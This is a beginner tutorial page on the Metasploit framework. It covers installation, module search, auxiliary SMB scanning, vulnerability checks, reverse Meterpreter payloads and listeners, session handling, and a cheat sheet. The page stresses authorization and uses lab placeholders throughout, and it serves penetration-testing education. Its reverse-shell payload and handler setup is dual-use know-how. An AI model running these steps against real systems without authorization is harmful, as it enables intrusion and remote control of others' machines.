Metasploit

Metasploit is a modular framework for security testing: it bundles thousands of auxiliary scanners, exploit modules, payloads, and post-exploitation tools behind one console so you can search, configure, and run them in a consistent way. It solves the problem of stitching together one-off scripts by hand, giving you a repeatable workflow with a database, session management, and structured options.

You will see Metasploit in CTFs (validating a known service issue), in homelabs (safe practice against your own VMs), and in authorized assessments (structured verification after enumeration). It is powerful and noisy, so it belongs after you understand the target, not as a first move.

What you will learn#

  • How to install, update, and verify Metasploit
  • When to use it, and when a smaller tool fits better
  • How to search modules and read their options before running anything
  • How to use auxiliary modules for low-impact validation
  • Realistic examples for searching, setting options, payloads, and sessions
  • The mistakes that waste the most time, and how to avoid them
  • A commented cheat sheet you can paste into your notes

Only run modules against systems you own or are explicitly authorized to test. CTF platforms, your own homelab, and dedicated practice VMs are all fair game. Anything else needs written permission and an agreed scope. Exploit and payload modules can change or break a target, so keep a short note of the target, the authorization, and the date next to your output. This section is the boring part that keeps the fun part legal.


Prerequisites#

  • A Linux host is easiest (Kali and Parrot ship Metasploit; Ubuntu/Debian work too). It also runs on macOS and Windows.
  • A PostgreSQL database for the workspace and module search cache (Kali sets this up).
  • Basic comfort with the terminal, IP addresses, and CIDR ranges like 10.10.10.0/24.
  • Enumeration results first. Metasploit assumes you already know the service and version you are targeting.
  • A target you are allowed to test. The examples below use private IPs and lab hostnames only.

Lab setup#

Keep every engagement in its own folder so output, notes, and loot never mix.

# One folder per box or per lab, with room for output and notes
mkdir -p ~/labs/msf-demo/{logs,loot,notes,resource}
cd ~/labs/msf-demo

Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Throughout this guide, TARGET_IP means one host you are authorized to test, TARGET_RANGE means a subnet like 192.168.56.0/24, and LHOST means your own attacker IP on the lab network.


Installation#

Pick the method that matches your environment.

# Debian / Ubuntu / Kali (preferred on most systems)
sudo apt update && sudo apt install -y metasploit-framework

# Official cross-distro installer (Ubuntu/Fedora when not packaged)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall

# Docker (isolated, disposable; good for testing modules safely)
docker run --rm -it metasploitframework/metasploit-framework ./msfconsole

Use the distro package on Kali; it is wired into the system PostgreSQL and updates with the rest of the OS. Use the official installer on a plain Ubuntu/Fedora box. Use Docker when you want an isolated, throwaway instance and do not mind setting up the database manually.


Update process#

# Kali / Debian package route
sudo apt update && sudo apt install --only-upgrade -y metasploit-framework

# Official installer route (also updates module content)
sudo msfupdate

# Docker route
docker pull metasploitframework/metasploit-framework

New modules ship constantly, so an up-to-date Metasploit has the latest auxiliary checks and exploit modules. After updating, let msfconsole rebuild its module cache on first launch.


Check if installed and available#

command -v msfconsole   # prints the path if Metasploit is on your PATH
msfconsole -v           # confirm the framework version
msfconsole -q -x "version; exit"   # version from inside, then quit

If command -v prints nothing, the package did not install or your shell PATH is stale. Open a new terminal or re-run the install step.


First safe test#

Start the console and run a built-in command that touches nothing on the network.

# -q starts quietly, -x runs a command then we exit
msfconsole -q -x "version; db_status; exit"

Expected: the framework version prints, followed by a database status line. Success looks like [*] Connected to msf. Connection type: postgresql. Failure looks like command not found (install problem) or a database warning, which you can fix below in troubleshooting. This proves the framework loads without sending a single packet to any host.


Core concepts#

  • Modules are the units of work. Types include auxiliary (scanners and checks), exploit (gain access), payload (what runs after an exploit), post (after a session opens), encoder, and nop.
  • Datastore options configure a module. RHOSTS is the target, RPORT the port, LHOST/LPORT your listener, plus module-specific settings.
  • Payloads split into staged (a small stub pulls the rest, written with / like windows/meterpreter/reverse_tcp) and stageless (self-contained, written with _ like windows/meterpreter_reverse_tcp).
  • Sessions are active connections to a target (a shell or Meterpreter). You background, list, and resume them.
  • The database (PostgreSQL) stores hosts, services, and loot per workspace, so findings stay organized.
  • check is a low-impact action many exploit modules support: it tests whether a target is likely vulnerable without firing the exploit.
  • Handlers (exploit/multi/handler) catch incoming sessions from payloads.

When this tool is useful#

  • CTFs and labs: structured validation of a known service issue, or a quick auxiliary scan to confirm a version.
  • Homelab practice: run modules safely against your own VMs to learn the workflow.
  • Authorized assessments: repeatable verification and evidence gathering after enumeration has identified a likely issue.
  • Defensive validation: confirm a patch closed an issue, or generate known activity to test detection.
  • Post-exploitation organization: manage multiple sessions and loot in one place.

When not to use this tool#

  • During early recon. Enumerate with nmap and service-specific tools first.
  • When a one-line curl, smbclient, or nc answers the question faster.
  • On fragile or production-adjacent lab gear, where exploit modules can crash a service.
  • When stealth matters and you have not considered the noise (modules are loud).
  • When you do not understand what a module does. Read the source and options first.

Command anatomy#

Outside the console you launch the binary; inside it you drive modules.

msfconsole [-q] [-r resource.rc] [-x "commands; exit"]
#           quiet  run a script        run inline commands

Inside the console, a typical module flow looks like this:

use <module>            # select a module
set RHOSTS TARGET_IP    # configure datastore options
set RPORT 445           # override defaults as needed
check                   # low-impact verification (if supported)
run                     # execute the module
  • use: loads a module and switches your prompt into its context.
  • set: assigns options; setg sets a global default across modules.
  • check / run: verify, then execute. run and exploit are aliases for most modules.

Common flags and options#

OptionMeaningWhen to use itExample
-qQuiet startup (no banner)Scripting and clean logsmsfconsole -q
-xRun console commands then continueOne-liners and automationmsfconsole -x "search smb; exit"
-rRun a resource scriptRepeatable setupsmsfconsole -r resource/recon.rc
RHOSTSTarget host(s)Every module that hits a targetset RHOSTS TARGET_IP
RPORTTarget portWhen the service is on a non-default portset RPORT 8443
LHOSTYour listener IPReverse payloads and handlersset LHOST LHOST
LPORTYour listener portReverse payloads and handlersset LPORT 4444
THREADSConcurrency for scannersSpeed up auxiliary sweepsset THREADS 10
setgSet a global optionReuse RHOSTS/LHOST across modulessetg LHOST LHOST
checkTest vulnerability, no exploitValidate before firingcheck

Practical examples#

Each command below explains what it does and what to expect. Console commands run inside msfconsole; shell commands are marked.

# (shell) Start quietly and confirm the database is connected
msfconsole -q -x "db_status"
# Output: a "Connected to msf" line. If not, see troubleshooting below.
# Search modules for a service, narrowed to auxiliary scanners
search type:auxiliary name:smb
# Output: a numbered list. Note the full module path you want to use next.
# Search by platform and rank to focus on reliable modules
search type:exploit platform:linux rank:excellent
# Output: higher-rank modules are generally more reliable in labs.
# Select an auxiliary scanner and read what it needs before running
use auxiliary/scanner/smb/smb_version
show options
# Output: a table of options. RHOSTS is required; defaults cover the rest.
# Configure and run a low-impact version check against one host
set RHOSTS TARGET_IP
run
# Output: the SMB dialect and OS string if the host responds. No exploitation.
# Sweep a whole authorized subnet with more threads
use auxiliary/scanner/smb/smb_version
set RHOSTS TARGET_RANGE
set THREADS 16
run
# Output: one result line per live host. Good for inventory in a lab.
# Use check before any exploit module to verify likely vulnerability
use exploit/<service>/<module_name>
set RHOSTS TARGET_IP
check
# Output: "appears vulnerable", "safe", or "cannot be determined". Stop if safe.
# Set a reverse payload and listener for an authorized exploit test
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST LHOST
set LPORT 4444
show options
# Output: confirm RHOSTS, LHOST, and LPORT are all set before running.
# Stand up a standalone handler to catch a session (e.g. from msfvenom)
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST LHOST
set LPORT 4444
run
# Output: "Started reverse TCP handler". Waits for a session to connect.
# Manage sessions after one opens
sessions -l          # list active sessions
sessions -i 1        # interact with session 1
background           # return to the console, leaving the session open
# Use the database to organize findings in a lab workspace
workspace -a lab01   # create and switch to a workspace
db_nmap -sV TARGET_IP   # run nmap through msf so results land in the DB
hosts                # list discovered hosts
services             # list discovered services
# (shell) Save a full transcript of a session for your notes
msfconsole -q -x "spool logs/msf-$(date +%Y%m%d-%H%M).log"
# Everything after spool is written to the log file as well as the screen.

Example workflow#

A realistic beginning-to-end pass on one authorized box, after nmap found SMB.

# 1. Prepare and confirm scope (shell)
mkdir -p ~/labs/box01/{logs,notes} && cd ~/labs/box01
echo "scope: TARGET_IP, authorized $(date -I)" > notes/scope.txt

# 2. Launch into a clean workspace and log everything (shell)
msfconsole -q -x "workspace -a box01; spool logs/box01.log"
# 3. Pull recon into the database
db_nmap -sV -p 139,445 TARGET_IP

# 4. Confirm the service version with an auxiliary module (low impact)
use auxiliary/scanner/smb/smb_version
set RHOSTS TARGET_IP
run

# 5. If a known issue applies, verify before doing anything else
use exploit/<service>/<module_name>
set RHOSTS TARGET_IP
check

# 6. Only on an authorized, vulnerable target, configure and run
set PAYLOAD <payload>
set LHOST LHOST
run

# 7. Record evidence
sessions -l
loot

From here, the open session decides the next step: post modules for evidence, or backgrounding the session to pivot. Document each finding in your notes.


Reading and interpreting output#

  • [+] lines are positive results (a check passed, a login worked, a session opened).
  • [*] lines are status and informational messages.
  • [-] lines are failures or negatives, such as a refused connection or a failed login.
  • check results read as “appears vulnerable”, “safe”, “detected”, or “cannot be determined”. Only the first justifies running an exploit.
  • A missing required option stops the module immediately; re-check show options.
  • Empty or silent output can mean a wrong RHOSTS, a filtered port, or a target that is down. Verify reachability with nmap first.
  • Module success is not proof of impact. Confirm what actually happened on the target.

Common mistakes#

  • Reaching for Metasploit before basic enumeration is done.
  • Running an exploit module when a check or auxiliary module would answer the question.
  • Forgetting to set LHOST/LPORT, so a reverse payload has nowhere to connect.
  • Mixing up staged (/) and stageless (_) payloads, then wondering why nothing connects.
  • Leaving a global setg RHOSTS set and firing a module at the wrong target.
  • Treating a green [+] as proof without verifying the effect on the target.
  • Ignoring module rank and reliability, then crashing a fragile lab service.

Troubleshooting#

ProblemLikely causeFix
command not foundNot installed / PATHReinstall; open a fresh shell
db_status shows not connectedPostgreSQL not runningsudo systemctl start postgresql then msfdb init
Module not found on useStale cache after updateRun reload_all or restart msfconsole
RHOSTS not set errorRequired option missingshow options, then set RHOSTS TARGET_IP
Handler gets no sessionWrong LHOST/LPORT or firewallMatch payload, set reachable LHOST, open LPORT
Staged payload hangsStager/stage mismatchUse a matching handler or a stageless payload
check says cannot determineModule cannot probe safelyVerify version manually before any exploit
Results differ from a tutorialModule/version changesCheck msfconsole -v and read the module info

Tools that pair well#

  • nmap: service and version discovery before you pick a module (db_nmap feeds the DB).
  • msfvenom: generate standalone payloads to catch with exploit/multi/handler.
  • searchsploit: research exploit details and CVEs outside the framework.
  • smbclient / ldapsearch: manual verification of services Metasploit reports.
  • tmux: keep a long-running handler in one pane while you work in another.

Automation and note taking#

# (shell) Drive a repeatable recon flow from a resource script, logged and echoed
msfconsole -q -r resource/smb-recon.rc 2>&1 | tee notes/smb-recon.txt
# resource/smb-recon.rc -- one console command per line
workspace -a lab01
use auxiliary/scanner/smb/smb_version
set RHOSTS TARGET_RANGE
set THREADS 16
run
hosts
services

Use spool logs/<name>.log to capture a full transcript, keep a one-line scope note per target, and export findings with db_export if you will reference them later. Screenshot anything that goes into a report.


Blue-team visibility#

Defenders can and often do see Metasploit activity. Auxiliary scanners generate the same connection patterns as any scanner and show up in firewall and service logs. Exploit modules and default payloads have well-known signatures: IDS/IPS rules, EDR detections, and antivirus all flag stock Meterpreter payloads quickly. Sessions create network connections to your LHOST that stand out, and failed logins land in Windows Event Logs and Linux auth logs. Knowing this helps both sides: as a defender, these are exactly the patterns to alert on; as a tester, it explains why out-of-the-box modules get noticed fast.


Safer or lower-noise usage#

  • Prefer auxiliary modules and check over exploit modules when verification is enough.
  • Test against one host before pointing a module at a range.
  • Keep THREADS modest on fragile or high-latency lab networks.
  • Read each module’s info and source so you know exactly what it does.
  • Set options per module instead of leaving sticky globals with setg.
  • Confirm scope and reachability before running anything that changes state.

Alternatives#

  • Manual exploitation (curl, nc, custom scripts): more control and far less noise for a single known issue. Use when one targeted action beats a whole framework.
  • Sliver / Havoc: modern command-and-control frameworks with better evasion for authorized red-team work. Use when stock Meterpreter is too easily detected.
  • CrackMapExec / NetExec: faster for spraying and enumerating across many hosts.
  • Metasploit is still the best all-rounder for breadth of modules, a consistent workflow, and a database that ties findings together; the alternatives win on stealth or speed for narrower jobs.

Deprecated and legacy notes#

  • msfpayload and msfencode were merged into msfvenom years ago; old tutorials still reference them.
  • msfcli (the non-interactive command line) was removed; use msfconsole -x instead.
  • Some module paths and option names change between releases, so a command from an old guide may have moved. Check search and the module info if one is missing.

Quick reference cheat sheet#

# --- Launch (shell) ---
msfconsole -q                         # quiet start
msfconsole -q -x "db_status; exit"    # check DB then quit
msfconsole -q -r resource/recon.rc    # run a resource script

# --- Search modules (console) ---
search type:auxiliary name:smb        # auxiliary scanners for SMB
search type:exploit platform:linux rank:excellent  # reliable linux exploits
search cve:2021                       # narrow by CVE year

# --- Select and inspect ---
use auxiliary/scanner/smb/smb_version # load a module
info                                  # read what it does and its options
show options                          # list required and optional settings

# --- Configure ---
set RHOSTS TARGET_IP                  # one target
set RHOSTS TARGET_RANGE               # a subnet
set RPORT 445                         # non-default port
set THREADS 16                        # speed up auxiliary sweeps
setg LHOST LHOST                      # global listener default (use carefully)

# --- Verify then run ---
check                                 # low-impact vulnerability check
run                                   # execute the module (alias: exploit)

# --- Payloads and handlers ---
set PAYLOAD linux/x64/meterpreter/reverse_tcp  # staged reverse payload
set LHOST LHOST                       # your attacker IP
set LPORT 4444                        # your listener port
use exploit/multi/handler             # standalone session catcher

# --- Sessions ---
sessions -l                           # list sessions
sessions -i 1                         # interact with session 1
background                            # leave session, return to console

# --- Database and notes ---
workspace -a lab01                    # create/switch workspace
db_nmap -sV TARGET_IP                 # nmap results into the DB
hosts                                 # list discovered hosts
services                              # list discovered services
spool logs/msf.log                    # transcript to a file

Mini decision tree#

  • One known service, just confirming: use an auxiliary/scanner module.
  • Want to know if a host is vulnerable: use the exploit module and run check only.
  • Reverse payload not connecting: verify LHOST/LPORT and staged vs stageless.
  • Module missing after an update: reload_all or restart msfconsole.
  • Need low noise: prefer auxiliary/check, test one host, skip stock payloads.
  • Catching a payload from msfvenom: use exploit/multi/handler with matching options.

Final checklist#

  • Scope and authorization noted next to the output
  • Database connected and a per-engagement workspace created
  • Enumeration done before any module was selected
  • Auxiliary/check used before any exploit module
  • Module info and options read before running
  • Results verified, not trusted on a green [+] alone
  • No real third-party targets used

Final summary#

Metasploit is best when you use it deliberately: enumerate first, search for the right module, read its options, verify with check or auxiliary modules, and only then run anything that changes state. The fastest way to start is msfconsole -q -x "db_status" to confirm it is ready, then search and use auxiliary/scanner/... for a safe first pass. The most expensive mistake is firing an exploit module before verifying scope and vulnerability. Learn msfvenom next, since payload generation and the multi/handler workflow are where the framework clicks together.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop